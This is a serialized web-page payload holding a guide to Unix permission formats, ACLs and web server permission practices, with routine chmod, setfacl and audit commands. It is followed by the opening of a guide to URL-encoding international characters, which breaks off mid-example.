.sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":213283},[213284,213285,213290,213291,213292,213293,213294,213295,213296],{"id":212702,"depth":337,"text":212703},{"id":212720,"depth":337,"text":212721,"children":213286},[213287,213288,213289],{"id":212788,"depth":343,"text":212789},{"id":212825,"depth":343,"text":212826},{"id":212868,"depth":343,"text":212869},{"id":212919,"depth":337,"text":212920},{"id":213015,"depth":337,"text":213016},{"id":213086,"depth":337,"text":213087},{"id":213135,"depth":337,"text":213136},{"id":25892,"depth":337,"text":25893},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Read and interpret unified diff output — the standard format used by Git and patch tools.",{"immutable":363},"\u002Fguides\u002Funified-diff-format-explained",{"title":212697,"description":213297},"guides\u002Funified-diff-format-explained","Tv8SJ-M9nty1AzfCIZ6axeuLHJvmCzhhKE72qtnoNM8",{"id":213304,"title":213305,"body":213306,"date":2070,"description":214473,"extension":361,"meta":214474,"navigation":363,"path":26023,"readingTime":7146,"seo":214477,"stem":214478,"__hash__":214479},"guides\u002Fguides\u002Funix-permissions-reference.md","Unix Permissions Reference: Numeric, Symbolic, and ACL Formats",{"type":8,"value":213307,"toc":214450},[213308,213312,213315,213318,213322,213325,213431,213434,213445,213449,213453,213456,213478,213483,213487,213652,213656,213659,213742,213746,213749,213753,213764,213768,213820,213826,213830,213911,213915,213918,213939,213942,213946,213949,213951,214045,214049,214063,214067,214261,214263,214315,214319,214401,214403,214423,214425,214433,214435,214447],[11,213309,213311],{"id":213310},"permission-format-overview","Permission Format Overview",[16,213313,213314],{},"Unix systems represent file permissions in several formats. The two most common are numeric (octal) and symbolic notation. Access Control Lists (ACLs) provide a finer-grained extension when the basic owner-group-others model is not enough.",[16,213316,213317],{},"Knowing how to convert between these formats saves time and prevents mistakes when configuring servers, writing deployment scripts, or auditing file security.",[11,213319,213321],{"id":213320},"numeric-to-symbolic-conversion","Numeric to Symbolic Conversion",[16,213323,213324],{},"Each octal digit maps directly to three permission bits. The digit is the sum of read (4), write (2), and execute (1).",[193,213326,213327,213339],{},[196,213328,213329],{},[199,213330,213331,213333,213335,213337],{},[202,213332,24541],{},[202,213334,115685],{},[202,213336,24544],{},[202,213338,4228],{},[211,213340,213341,213352,213364,213375,213387,213398,213409,213420],{},[199,213342,213343,213345,213347,213349],{},[216,213344,5285],{},[216,213346,14083],{},[216,213348,137396],{},[216,213350,213351],{},"No access",[199,213353,213354,213356,213358,213361],{},[216,213355,3585],{},[216,213357,14091],{},[216,213359,213360],{},"--x",[216,213362,213363],{},"Execute only",[199,213365,213366,213368,213370,213372],{},[216,213367,10099],{},[216,213369,14099],{},[216,213371,211232],{},[216,213373,213374],{},"Write only (rarely useful alone)",[199,213376,213377,213379,213381,213384],{},[216,213378,17821],{},[216,213380,14107],{},[216,213382,213383],{},"-wx",[216,213385,213386],{},"Write and execute",[199,213388,213389,213391,213393,213395],{},[216,213390,12546],{},[216,213392,18114],{},[216,213394,211235],{},[216,213396,213397],{},"Read only",[199,213399,213400,213402,213404,213406],{},[216,213401,13431],{},[216,213403,41973],{},[216,213405,211292],{},[216,213407,213408],{},"Read and execute",[199,213410,213411,213413,213415,213417],{},[216,213412,44593],{},[216,213414,159115],{},[216,213416,211219],{},[216,213418,213419],{},"Read and write",[199,213421,213422,213424,213426,213428],{},[216,213423,735],{},[216,213425,159126],{},[216,213427,211277],{},[216,213429,213430],{},"Full access",[16,213432,213433],{},"To convert a three-digit mode like 755, map each digit independently:",[41,213435,213436,213439,213442],{},[44,213437,213438],{},"7 = rwx (owner)",[44,213440,213441],{},"5 = r-x (group)",[44,213443,213444],{},"5 = r-x (others)",[16,213446,114846,213447],{},[143,213448,24585],{},[11,213450,213452],{"id":213451},"symbolic-to-numeric-conversion","Symbolic to Numeric Conversion",[16,213454,213455],{},"Read each triplet and add the values for permissions that are present:",[41,213457,213458,213463,213468,213473],{},[44,213459,213460,213462],{},[143,213461,211277],{}," = 4 + 2 + 1 = 7",[44,213464,213465,213467],{},[143,213466,211292],{}," = 4 + 0 + 1 = 5",[44,213469,213470,213472],{},[143,213471,211219],{}," = 4 + 2 + 0 = 6",[44,213474,213475,213477],{},[143,213476,211235],{}," = 4 + 0 + 0 = 4",[16,213479,182849,213480,213482],{},[143,213481,24638],{}," becomes 640.",[11,213484,213486],{"id":213485},"complete-permission-mode-reference","Complete Permission Mode Reference",[193,213488,213489,213505],{},[196,213490,213491],{},[199,213492,213493,213495,213497,213499,213501,213503],{},[202,213494,25398],{},[202,213496,24544],{},[202,213498,24547],{},[202,213500,24550],{},[202,213502,25269],{},[202,213504,24556],{},[211,213506,213507,213521,213536,213550,213565,213579,213594,213608,213622,213637],{},[199,213508,213509,213511,213513,213515,213517,213519],{},[216,213510,24582],{},[216,213512,24585],{},[216,213514,211277],{},[216,213516,211292],{},[216,213518,211292],{},[216,213520,24596],{},[199,213522,213523,213525,213527,213529,213531,213533],{},[216,213524,24563],{},[216,213526,24566],{},[216,213528,211219],{},[216,213530,211235],{},[216,213532,211235],{},[216,213534,213535],{},"Regular files",[199,213537,213538,213540,213542,213544,213546,213548],{},[216,213539,24619],{},[216,213541,24622],{},[216,213543,211277],{},[216,213545,137396],{},[216,213547,137396],{},[216,213549,24631],{},[199,213551,213552,213554,213556,213558,213560,213562],{},[216,213553,24601],{},[216,213555,24604],{},[216,213557,211219],{},[216,213559,137396],{},[216,213561,137396],{},[216,213563,213564],{},"SSH keys, secret config",[199,213566,213567,213569,213571,213573,213575,213577],{},[216,213568,24652],{},[216,213570,24655],{},[216,213572,211277],{},[216,213574,211292],{},[216,213576,137396],{},[216,213578,24664],{},[199,213580,213581,213583,213585,213587,213589,213591],{},[216,213582,17196],{},[216,213584,24638],{},[216,213586,211219],{},[216,213588,211235],{},[216,213590,137396],{},[216,213592,213593],{},"Group-readable files",[199,213595,213596,213598,213600,213602,213604,213606],{},[216,213597,24686],{},[216,213599,24689],{},[216,213601,211277],{},[216,213603,211277],{},[216,213605,211292],{},[216,213607,24698],{},[199,213609,213610,213612,213614,213616,213618,213620],{},[216,213611,24669],{},[216,213613,24672],{},[216,213615,211219],{},[216,213617,211219],{},[216,213619,211235],{},[216,213621,24681],{},[199,213623,213624,213626,213628,213630,213632,213634],{},[216,213625,25428],{},[216,213627,25431],{},[216,213629,211277],{},[216,213631,211277],{},[216,213633,211277],{},[216,213635,213636],{},"Temporary directories (avoid elsewhere)",[199,213638,213639,213641,213643,213645,213647,213649],{},[216,213640,24703],{},[216,213642,24706],{},[216,213644,211235],{},[216,213646,137396],{},[216,213648,137396],{},[216,213650,213651],{},"Read-only secrets",[11,213653,213655],{"id":213654},"special-permission-modes","Special Permission Modes",[16,213657,213658],{},"Include a leading digit for setuid (4), setgid (2), or sticky bit (1). Combine by adding: setuid + setgid = 6, setgid + sticky = 3, all three = 7.",[193,213660,213661,213674],{},[196,213662,213663],{},[199,213664,213665,213667,213669,213672],{},[202,213666,25398],{},[202,213668,24544],{},[202,213670,213671],{},"Special Bits",[202,213673,29641],{},[211,213675,213676,213689,213702,213715,213729],{},[199,213677,213678,213681,213684,213686],{},[216,213679,213680],{},"4755",[216,213682,213683],{},"rwsr-xr-x",[216,213685,142214],{},[216,213687,213688],{},"Execute as owner",[199,213690,213691,213694,213697,213699],{},[216,213692,213693],{},"2755",[216,213695,213696],{},"rwxr-sr-x",[216,213698,142231],{},[216,213700,213701],{},"Execute as group \u002F inherit group on dirs",[199,213703,213704,213707,213710,213712],{},[216,213705,213706],{},"1755",[216,213708,213709],{},"rwxr-xr-t",[216,213711,53895],{},[216,213713,213714],{},"Only owner can delete in directory",[199,213716,213717,213720,213723,213726],{},[216,213718,213719],{},"6755",[216,213721,213722],{},"rwsr-sr-x",[216,213724,213725],{},"setuid + setgid",[216,213727,213728],{},"Run as owner and group",[199,213730,213731,213734,213737,213739],{},[216,213732,213733],{},"2770",[216,213735,213736],{},"rwxrws---",[216,213738,142231],{},[216,213740,213741],{},"Shared group workspace",[11,213743,213745],{"id":213744},"access-control-lists-acls","Access Control Lists (ACLs)",[16,213747,213748],{},"Traditional Unix permissions limit you to one owner, one group, and one set of \"other\" permissions. ACLs break through this limitation by letting you grant specific users or groups access without changing the file's ownership.",[33,213750,213752],{"id":213751},"when-to-use-acls","When to Use ACLs",[41,213754,213755,213758,213761],{},[44,213756,213757],{},"Multiple teams need different access levels to the same directory",[44,213759,213760],{},"A single user outside the file's group needs read access",[44,213762,213763],{},"You want to avoid creating extra groups for simple access rules",[33,213765,213767],{"id":213766},"viewing-acls","Viewing ACLs",[135,213769,213771],{"className":6951,"code":213770,"language":6953,"meta":141,"style":141},"getfacl project.conf\n# file: project.conf\n# owner: alice\n# group: developers\n# user::rw-\n# user:bob:r--\n# group::rw-\n# mask::rw-\n# other::r--\n",[143,213772,213773,213780,213785,213790,213795,213800,213805,213810,213815],{"__ignoreMap":141},[1560,213774,213775,213777],{"class":1562,"line":1563},[1560,213776,141984],{"class":1566},[1560,213778,213779],{"class":5634}," project.conf\n",[1560,213781,213782],{"class":1562,"line":337},[1560,213783,213784],{"class":1649},"# file: project.conf\n",[1560,213786,213787],{"class":1562,"line":343},[1560,213788,213789],{"class":1649},"# owner: alice\n",[1560,213791,213792],{"class":1562,"line":365},[1560,213793,213794],{"class":1649},"# group: developers\n",[1560,213796,213797],{"class":1562,"line":889},[1560,213798,213799],{"class":1649},"# user::rw-\n",[1560,213801,213802],{"class":1562,"line":1710},[1560,213803,213804],{"class":1649},"# user:bob:r--\n",[1560,213806,213807],{"class":1562,"line":1717},[1560,213808,213809],{"class":1649},"# group::rw-\n",[1560,213811,213812],{"class":1562,"line":1747},[1560,213813,213814],{"class":1649},"# mask::rw-\n",[1560,213816,213817],{"class":1562,"line":2507},[1560,213818,213819],{"class":1649},"# other::r--\n",[16,213821,421,213822,213825],{},[143,213823,213824],{},"user:bob:r--"," entry grants user Bob read access, regardless of group membership.",[33,213827,213829],{"id":213828},"setting-acls","Setting ACLs",[135,213831,213833],{"className":6951,"code":213832,"language":6953,"meta":141,"style":141},"# Give Bob read access\nsetfacl -m u:bob:r project.conf\n\n# Give the qa group read-write access\nsetfacl -m g:qa:rw project.conf\n\n# Remove Bob's entry\nsetfacl -x u:bob project.conf\n\n# Remove all ACLs, revert to standard permissions\nsetfacl -b project.conf\n",[143,213834,213835,213840,213852,213856,213861,213872,213876,213881,213893,213897,213902],{"__ignoreMap":141},[1560,213836,213837],{"class":1562,"line":1563},[1560,213838,213839],{"class":1649},"# Give Bob read access\n",[1560,213841,213842,213845,213847,213850],{"class":1562,"line":337},[1560,213843,213844],{"class":1566},"setfacl",[1560,213846,24227],{"class":1576},[1560,213848,213849],{"class":5634}," u:bob:r",[1560,213851,213779],{"class":5634},[1560,213853,213854],{"class":1562,"line":343},[1560,213855,1702],{"emptyLinePlaceholder":363},[1560,213857,213858],{"class":1562,"line":365},[1560,213859,213860],{"class":1649},"# Give the qa group read-write access\n",[1560,213862,213863,213865,213867,213870],{"class":1562,"line":889},[1560,213864,213844],{"class":1566},[1560,213866,24227],{"class":1576},[1560,213868,213869],{"class":5634}," g:qa:rw",[1560,213871,213779],{"class":5634},[1560,213873,213874],{"class":1562,"line":1710},[1560,213875,1702],{"emptyLinePlaceholder":363},[1560,213877,213878],{"class":1562,"line":1717},[1560,213879,213880],{"class":1649},"# Remove Bob's entry\n",[1560,213882,213883,213885,213888,213891],{"class":1562,"line":1747},[1560,213884,213844],{"class":1566},[1560,213886,213887],{"class":1576}," -x",[1560,213889,213890],{"class":5634}," u:bob",[1560,213892,213779],{"class":5634},[1560,213894,213895],{"class":1562,"line":2507},[1560,213896,1702],{"emptyLinePlaceholder":363},[1560,213898,213899],{"class":1562,"line":2524},[1560,213900,213901],{"class":1649},"# Remove all ACLs, revert to standard permissions\n",[1560,213903,213904,213906,213909],{"class":1562,"line":2529},[1560,213905,213844],{"class":1566},[1560,213907,213908],{"class":1576}," -b",[1560,213910,213779],{"class":5634},[33,213912,213914],{"id":213913},"acl-mask","ACL Mask",[16,213916,213917],{},"The mask limits the maximum permissions ACL entries can grant. It acts as a ceiling, not an additional restriction. When you set an ACL, the system automatically recalculates the mask.",[135,213919,213921],{"className":6951,"code":213920,"language":6953,"meta":141,"style":141},"# Set mask to read-only — all ACL entries are capped at r--\nsetfacl -m m::r project.conf\n",[143,213922,213923,213928],{"__ignoreMap":141},[1560,213924,213925],{"class":1562,"line":1563},[1560,213926,213927],{"class":1649},"# Set mask to read-only — all ACL entries are capped at r--\n",[1560,213929,213930,213932,213934,213937],{"class":1562,"line":337},[1560,213931,213844],{"class":1566},[1560,213933,24227],{"class":1576},[1560,213935,213936],{"class":5634}," m::r",[1560,213938,213779],{"class":5634},[16,213940,213941],{},"Without understanding the mask, ACL changes can appear to \"not take effect.\"",[11,213943,213945],{"id":213944},"web-server-permission-best-practices","Web Server Permission Best Practices",[16,213947,213948],{},"Web servers are a frequent target. Misconfigured permissions are one of the most common ways attackers escalate access.",[33,213950,26884],{"id":26883},[193,213952,213953,213966],{},[196,213954,213955],{},[199,213956,213957,213960,213962,213964],{},[202,213958,213959],{},"Path Type",[202,213961,25398],{},[202,213963,24547],{},[202,213965,24550],{},[211,213967,213968,213979,213990,214001,214013,214024,214035],{},[199,213969,213970,213973,213975,213977],{},[216,213971,213972],{},"Document root directory",[216,213974,24582],{},[216,213976,26472],{},[216,213978,26472],{},[199,213980,213981,213984,213986,213988],{},[216,213982,213983],{},"Static files (HTML, CSS, JS)",[216,213985,24563],{},[216,213987,26472],{},[216,213989,26472],{},[199,213991,213992,213995,213997,213999],{},[216,213993,213994],{},"Upload directory",[216,213996,24652],{},[216,213998,24918],{},[216,214000,24918],{},[199,214002,214003,214006,214009,214011],{},[216,214004,214005],{},"Upload directory (with sticky)",[216,214007,214008],{},"1770",[216,214010,24918],{},[216,214012,24918],{},[199,214014,214015,214018,214020,214022],{},[216,214016,214017],{},"Config files with secrets",[216,214019,17196],{},[216,214021,26472],{},[216,214023,24918],{},[199,214025,214026,214029,214031,214033],{},[216,214027,214028],{},"CGI scripts",[216,214030,24582],{},[216,214032,26472],{},[216,214034,26472],{},[199,214036,214037,214039,214041,214043],{},[216,214038,132783],{},[216,214040,17196],{},[216,214042,26472],{},[216,214044,24918],{},[33,214046,214048],{"id":214047},"key-rules","Key Rules",[41,214050,214051,214054,214057,214060],{},[44,214052,214053],{},"The web server should never write to the document root. If it must accept uploads, isolate them in a separate directory.",[44,214055,214056],{},"Never run the web server as root. Use a dedicated low-privilege account.",[44,214058,214059],{},"Set the sticky bit on upload directories so users cannot delete each other's files.",[44,214061,214062],{},"Avoid 777 under all circumstances. If a process needs write access, grant it specifically via ownership or ACLs.",[33,214064,214066],{"id":214065},"deployment-script-example","Deployment Script Example",[135,214068,214070],{"className":6951,"code":214069,"language":6953,"meta":141,"style":141},"#!\u002Fbin\u002Fbash\nWEBROOT=\"\u002Fvar\u002Fwww\u002Fhtml\"\n\n# Set safe ownership\nsudo chown -R root:root \"$WEBROOT\"\n\n# Directories: 755\nfind \"$WEBROOT\" -type d -exec chmod 755 {} +\n\n# Files: 644\nfind \"$WEBROOT\" -type f -exec chmod 644 {} +\n\n# Upload directory: owned by web server, group writable\nsudo chown -R www-data:www-data \"$WEBROOT\u002Fuploads\"\nsudo chmod 1770 \"$WEBROOT\u002Fuploads\"\n\n# Config with database credentials: root-owned, group-readable\nsudo chmod 640 \"$WEBROOT\u002Fconfig.php\"\nsudo chgrp www-data \"$WEBROOT\u002Fconfig.php\"\n",[143,214071,214072,214076,214086,214090,214095,214113,214117,214122,214146,214150,214155,214179,214183,214188,214206,214221,214225,214230,214245],{"__ignoreMap":141},[1560,214073,214074],{"class":1562,"line":1563},[1560,214075,27439],{"class":1649},[1560,214077,214078,214081,214083],{"class":1562,"line":337},[1560,214079,214080],{"class":1570},"WEBROOT",[1560,214082,7297],{"class":1669},[1560,214084,214085],{"class":5634},"\"\u002Fvar\u002Fwww\u002Fhtml\"\n",[1560,214087,214088],{"class":1562,"line":343},[1560,214089,1702],{"emptyLinePlaceholder":363},[1560,214091,214092],{"class":1562,"line":365},[1560,214093,214094],{"class":1649},"# Set safe ownership\n",[1560,214096,214097,214099,214101,214103,214106,214108,214111],{"class":1562,"line":889},[1560,214098,27025],{"class":1566},[1560,214100,27059],{"class":5634},[1560,214102,25535],{"class":1576},[1560,214104,214105],{"class":5634}," root:root",[1560,214107,8715],{"class":5634},[1560,214109,214110],{"class":1570},"$WEBROOT",[1560,214112,169661],{"class":5634},[1560,214114,214115],{"class":1562,"line":1710},[1560,214116,1702],{"emptyLinePlaceholder":363},[1560,214118,214119],{"class":1562,"line":1717},[1560,214120,214121],{"class":1649},"# Directories: 755\n",[1560,214123,214124,214126,214128,214130,214132,214134,214136,214138,214140,214142,214144],{"class":1562,"line":1747},[1560,214125,24989],{"class":1566},[1560,214127,8715],{"class":5634},[1560,214129,214110],{"class":1570},[1560,214131,8721],{"class":5634},[1560,214133,24995],{"class":1576},[1560,214135,11229],{"class":5634},[1560,214137,25001],{"class":1576},[1560,214139,25004],{"class":5634},[1560,214141,24804],{"class":1576},[1560,214143,25010],{"class":5634},[1560,214145,25013],{"class":5634},[1560,214147,214148],{"class":1562,"line":2507},[1560,214149,1702],{"emptyLinePlaceholder":363},[1560,214151,214152],{"class":1562,"line":2524},[1560,214153,214154],{"class":1649},"# Files: 644\n",[1560,214156,214157,214159,214161,214163,214165,214167,214169,214171,214173,214175,214177],{"class":1562,"line":2529},[1560,214158,24989],{"class":1566},[1560,214160,8715],{"class":5634},[1560,214162,214110],{"class":1570},[1560,214164,8721],{"class":5634},[1560,214166,24995],{"class":1576},[1560,214168,24998],{"class":5634},[1560,214170,25001],{"class":1576},[1560,214172,25004],{"class":5634},[1560,214174,24762],{"class":1576},[1560,214176,25010],{"class":5634},[1560,214178,25013],{"class":5634},[1560,214180,214181],{"class":1562,"line":2534},[1560,214182,1702],{"emptyLinePlaceholder":363},[1560,214184,214185],{"class":1562,"line":2542},[1560,214186,214187],{"class":1649},"# Upload directory: owned by web server, group writable\n",[1560,214189,214190,214192,214194,214196,214199,214201,214203],{"class":1562,"line":2558},[1560,214191,27025],{"class":1566},[1560,214193,27059],{"class":5634},[1560,214195,25535],{"class":1576},[1560,214197,214198],{"class":5634}," www-data:www-data",[1560,214200,8715],{"class":5634},[1560,214202,214110],{"class":1570},[1560,214204,214205],{"class":5634},"\u002Fuploads\"\n",[1560,214207,214208,214210,214212,214215,214217,214219],{"class":1562,"line":2570},[1560,214209,27025],{"class":1566},[1560,214211,25004],{"class":5634},[1560,214213,214214],{"class":1576}," 1770",[1560,214216,8715],{"class":5634},[1560,214218,214110],{"class":1570},[1560,214220,214205],{"class":5634},[1560,214222,214223],{"class":1562,"line":6638},[1560,214224,1702],{"emptyLinePlaceholder":363},[1560,214226,214227],{"class":1562,"line":11615},[1560,214228,214229],{"class":1649},"# Config with database credentials: root-owned, group-readable\n",[1560,214231,214232,214234,214236,214238,214240,214242],{"class":1562,"line":11621},[1560,214233,27025],{"class":1566},[1560,214235,25004],{"class":5634},[1560,214237,24931],{"class":1576},[1560,214239,8715],{"class":5634},[1560,214241,214110],{"class":1570},[1560,214243,214244],{"class":5634},"\u002Fconfig.php\"\n",[1560,214246,214247,214249,214252,214255,214257,214259],{"class":1562,"line":11633},[1560,214248,27025],{"class":1566},[1560,214250,214251],{"class":5634}," chgrp",[1560,214253,214254],{"class":5634}," www-data",[1560,214256,8715],{"class":5634},[1560,214258,214110],{"class":1570},[1560,214260,214244],{"class":5634},[11,214262,102598],{"id":102597},[41,214264,214265,214271,214281,214290,214296,214302],{},[44,214266,214267,214270],{},[47,214268,214269],{},"Minimize write access",": Every writable path is an attack surface. If your web app does not need to write to a directory, make it read-only.",[44,214272,214273,214276,214277,214280],{},[47,214274,214275],{},"Audit setuid\u002Fsetgid binaries",": Run ",[143,214278,214279],{},"find \u002F -perm -4000 -type f"," regularly. Unexpected setuid binaries are a sign of compromise.",[44,214282,214283,1663,214286,214289],{},[47,214284,214285],{},"Check world-writable files",[143,214287,214288],{},"find \u002F -perm -o+w -type f"," lists files anyone can modify. Review each one.",[44,214291,214292,214295],{},[47,214293,214294],{},"Use ACLs for precision",": When you need to grant access to one extra user, an ACL is safer than widening group or other permissions.",[44,214297,214298,214301],{},[47,214299,214300],{},"Restrict SSH key permissions",": SSH ignores keys that are readable by others. Use mode 600 for private keys and 644 for public keys.",[44,214303,214304,214307,214308,1459,214310,1466,214312,214314],{},[47,214305,214306],{},"Log permission changes",": For compliance, log all ",[143,214309,24759],{},[143,214311,141771],{},[143,214313,213844],{}," commands via audit rules.",[11,214316,214318],{"id":214317},"format-conversion-quick-reference","Format Conversion Quick Reference",[193,214320,214321,214329],{},[196,214322,214323],{},[199,214324,214325,214327],{},[202,214326,748],{},[202,214328,25089],{},[211,214330,214331,214341,214351,214361,214371,214381,214391],{},[199,214332,214333,214336],{},[216,214334,214335],{},"Numeric to symbolic",[216,214337,214338],{},[143,214339,214340],{},"stat -c %A file",[199,214342,214343,214346],{},[216,214344,214345],{},"Symbolic to numeric",[216,214347,214348],{},[143,214349,214350],{},"stat -c %a file",[199,214352,214353,214356],{},[216,214354,214355],{},"View all permissions + ACLs",[216,214357,214358],{},[143,214359,214360],{},"getfacl file",[199,214362,214363,214366],{},[216,214364,214365],{},"chmod numeric",[216,214367,214368],{},[143,214369,214370],{},"chmod 755 file",[199,214372,214373,214376],{},[216,214374,214375],{},"chmod symbolic",[216,214377,214378],{},[143,214379,214380],{},"chmod u+rwx,go+rx file",[199,214382,214383,214386],{},[216,214384,214385],{},"setuid + numeric",[216,214387,214388],{},[143,214389,214390],{},"chmod 4755 file",[199,214392,214393,214396],{},[216,214394,214395],{},"sticky bit + symbolic",[216,214397,214398],{},[143,214399,214400],{},"chmod +t dir",[11,214402,1355],{"id":1354},[41,214404,214405,214408,214411,214414,214417,214420],{},[44,214406,214407],{},"Numeric and symbolic formats are interchangeable — each digit maps to an rwx triplet",[44,214409,214410],{},"Special bits (setuid, setgid, sticky) use a leading octal digit: 4, 2, 1",[44,214412,214413],{},"ACLs extend the traditional model with per-user and per-group entries",[44,214415,214416],{},"The ACL mask limits the maximum effective permissions — understand it before using ACLs",[44,214418,214419],{},"Web server permissions should follow the principle of least privilege: 755\u002F644 defaults, isolated upload directories, owned by root where possible",[44,214421,214422],{},"Audit world-writable and setuid files regularly",[11,214424,286],{"id":285},[16,214426,2419,214427,214429,214430,214432],{},[98,214428,26007],{"href":25192}," to convert between numeric and symbolic formats, toggle special bits, and preview the exact ",[143,214431,24759],{}," command before running it.",[11,214434,321],{"id":320},[41,214436,214437,214442],{},[44,214438,214439,214441],{},[98,214440,25170],{"href":25169}," — detailed walkthrough of chmod command syntax and usage",[44,214443,214444,214446],{},[98,214445,25176],{"href":25175}," — owner\u002Fgroup\u002Fothers model, special bits, and umask explained",[2043,214448,214449],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":214451},[214452,214453,214454,214455,214456,214457,214463,214468,214469,214470,214471,214472],{"id":213310,"depth":337,"text":213311},{"id":213320,"depth":337,"text":213321},{"id":213451,"depth":337,"text":213452},{"id":213485,"depth":337,"text":213486},{"id":213654,"depth":337,"text":213655},{"id":213744,"depth":337,"text":213745,"children":214458},[214459,214460,214461,214462],{"id":213751,"depth":343,"text":213752},{"id":213766,"depth":343,"text":213767},{"id":213828,"depth":343,"text":213829},{"id":213913,"depth":343,"text":213914},{"id":213944,"depth":337,"text":213945,"children":214464},[214465,214466,214467],{"id":26883,"depth":343,"text":26884},{"id":214047,"depth":343,"text":214048},{"id":214065,"depth":343,"text":214066},{"id":102597,"depth":337,"text":102598},{"id":214317,"depth":337,"text":214318},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Quick reference for converting between numeric, symbolic, and ACL-based permission formats. Includes common modes and web server best practices.",{"keywords":214475},[26052,214476],"unix-permissions-reference",{"title":213305,"description":214473},"guides\u002Funix-permissions-reference","mu7dLmuZI1TY0qQfheC3Vg9wSgoeO726T6BADnNVEnQ",{"id":214481,"title":214482,"body":214483,"date":2070,"description":215126,"extension":361,"meta":215127,"navigation":363,"path":215128,"readingTime":1710,"seo":215129,"stem":215130,"__hash__":215131},"guides\u002Fguides\u002Furl-encoding-international-characters.md","URL Encoding for International Characters Explained",{"type":8,"value":214484,"toc":215111},[214485,214489,214492,214495,214499,214503,214506,214523,214646,214650,214751,214755,214762,214768,214778,214782,214790,214860,214864,214908,214916,214920,214923,215005,215011,215058,215062,215065,215071,215074,215076,215097,215099,215105,215109],[11,214486,214488],{"id":214487},"urls-and-the-ascii-limitation","URLs and the ASCII Limitation",[16,214490,214491],{},"URLs were originally designed to carry only ASCII characters — letters, digits, and a limited set of symbols. RFC 3986 defines the allowed character set, and anything outside it must be percent-encoded.",[16,214493,214494],{},"This limitation becomes obvious when you work with international content. A Chinese character, an Arabic letter, or an accented Latin character cannot appear in a URL without encoding. The браузер (browser) handles this transparently most of the time, but understanding the mechanics helps you debug broken links and build correct URLs programmatically.",[11,214496,214498],{"id":214497},"how-utf-8-percent-encoding-works","How UTF-8 Percent Encoding Works",[33,214500,214502],{"id":214501},"the-two-step-process","The Two-Step Process",[16,214504,214505],{},"Encoding an international character for URLs involves two steps:",[77,214507,214508,214514],{},[44,214509,214510,214513],{},[47,214511,214512],{},"Convert to UTF-8 bytes"," — Each Unicode character becomes 1 to 4 bytes",[44,214515,214516,214519,214520,214522],{},[47,214517,214518],{},"Percent-encode each byte"," — Each byte becomes ",[143,214521,34470],{}," where XX is the hexadecimal value",[135,214524,214526],{"className":1607,"code":214525,"language":1609,"meta":141,"style":141},"\u002F\u002F Manual encoding example for the Chinese character 中\nconst char = '中';\nconst utf8Bytes = new TextEncoder().encode(char); \u002F\u002F [0xE4, 0xB8, 0xAD]\nconst encoded = Array.from(utf8Bytes)\n  .map(b => '%' + b.toString(16).toUpperCase().padStart(2, '0'))\n  .join('');\n\u002F\u002F Result: %E4%B8%AD\n",[143,214527,214528,214533,214547,214571,214586,214629,214641],{"__ignoreMap":141},[1560,214529,214530],{"class":1562,"line":1563},[1560,214531,214532],{"class":1649},"\u002F\u002F Manual encoding example for the Chinese character 中\n",[1560,214534,214535,214537,214540,214542,214545],{"class":1562,"line":337},[1560,214536,8180],{"class":1669},[1560,214538,214539],{"class":1576}," char",[1560,214541,8186],{"class":1669},[1560,214543,214544],{"class":5634}," '中'",[1560,214546,2228],{"class":1570},[1560,214548,214549,214551,214554,214556,214558,214561,214563,214565,214568],{"class":1562,"line":343},[1560,214550,8180],{"class":1669},[1560,214552,214553],{"class":1576}," utf8Bytes",[1560,214555,8186],{"class":1669},[1560,214557,11489],{"class":1669},[1560,214559,214560],{"class":1566}," TextEncoder",[1560,214562,42138],{"class":1570},[1560,214564,118984],{"class":1566},[1560,214566,214567],{"class":1570},"(char); ",[1560,214569,214570],{"class":1649},"\u002F\u002F [0xE4, 0xB8, 0xAD]\n",[1560,214572,214573,214575,214577,214579,214581,214583],{"class":1562,"line":365},[1560,214574,8180],{"class":1669},[1560,214576,22961],{"class":1576},[1560,214578,8186],{"class":1669},[1560,214580,23043],{"class":1570},[1560,214582,8168],{"class":1566},[1560,214584,214585],{"class":1570},"(utf8Bytes)\n",[1560,214587,214588,214590,214592,214594,214596,214598,214601,214603,214605,214607,214609,214611,214613,214615,214617,214619,214621,214623,214625,214627],{"class":1562,"line":889},[1560,214589,42200],{"class":1570},[1560,214591,9371],{"class":1566},[1560,214593,1688],{"class":1570},[1560,214595,28973],{"class":2219},[1560,214597,9378],{"class":1669},[1560,214599,214600],{"class":5634}," 